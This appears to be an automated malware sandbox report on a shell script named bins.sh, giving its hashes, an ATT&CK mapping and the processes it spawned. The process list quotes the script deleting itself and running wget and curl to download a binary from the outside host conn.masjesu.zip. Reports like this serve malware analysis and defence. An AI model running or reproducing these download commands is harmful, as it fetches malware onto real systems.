46510b63c8a83503ae6ca32257d2960244feff790c7d22e9060b534af57be6e4 | Triage

Analysis

max time kernel
148s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22-10-2024 23:36

Sharing

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

8f3990b3360c72f0f7ac964a9d8a6e25
SHA1

d8e3248deb998421866193f89bc50039a307780e
SHA256

46510b63c8a83503ae6ca32257d2960244feff790c7d22e9060b534af57be6e4
SHA512

bf643037de5c6fa926ea23d0b83471e432164904fc84e69be27e14c71f97dff5afe3ba143ba7676b5fb3532b9734b6cd71dbae247b3b2610610b3b26a056eb41
SSDEEP

192:sfTg1NBk5BZsnqkBR2rHXkBR2rHdfTg1NMXEb:Z+BKnqkBR2rHXkBR2rHtW

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

1498 wget
1502 curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1496

/bin/rm
/bin/rm bins.sh
2⤵
PID:1497

/usr/bin/wget
wget http://conn.masjesu.zip/bins/rNRCO2mHOmgDSXhJgZ9XfnpsJbqtxhHMju
2⤵
- System Network Configuration Discovery
PID:1498

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/rNRCO2mHOmgDSXhJgZ9XfnpsJbqtxhHMju
2⤵
- System Network Configuration Discovery
PID:1502

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads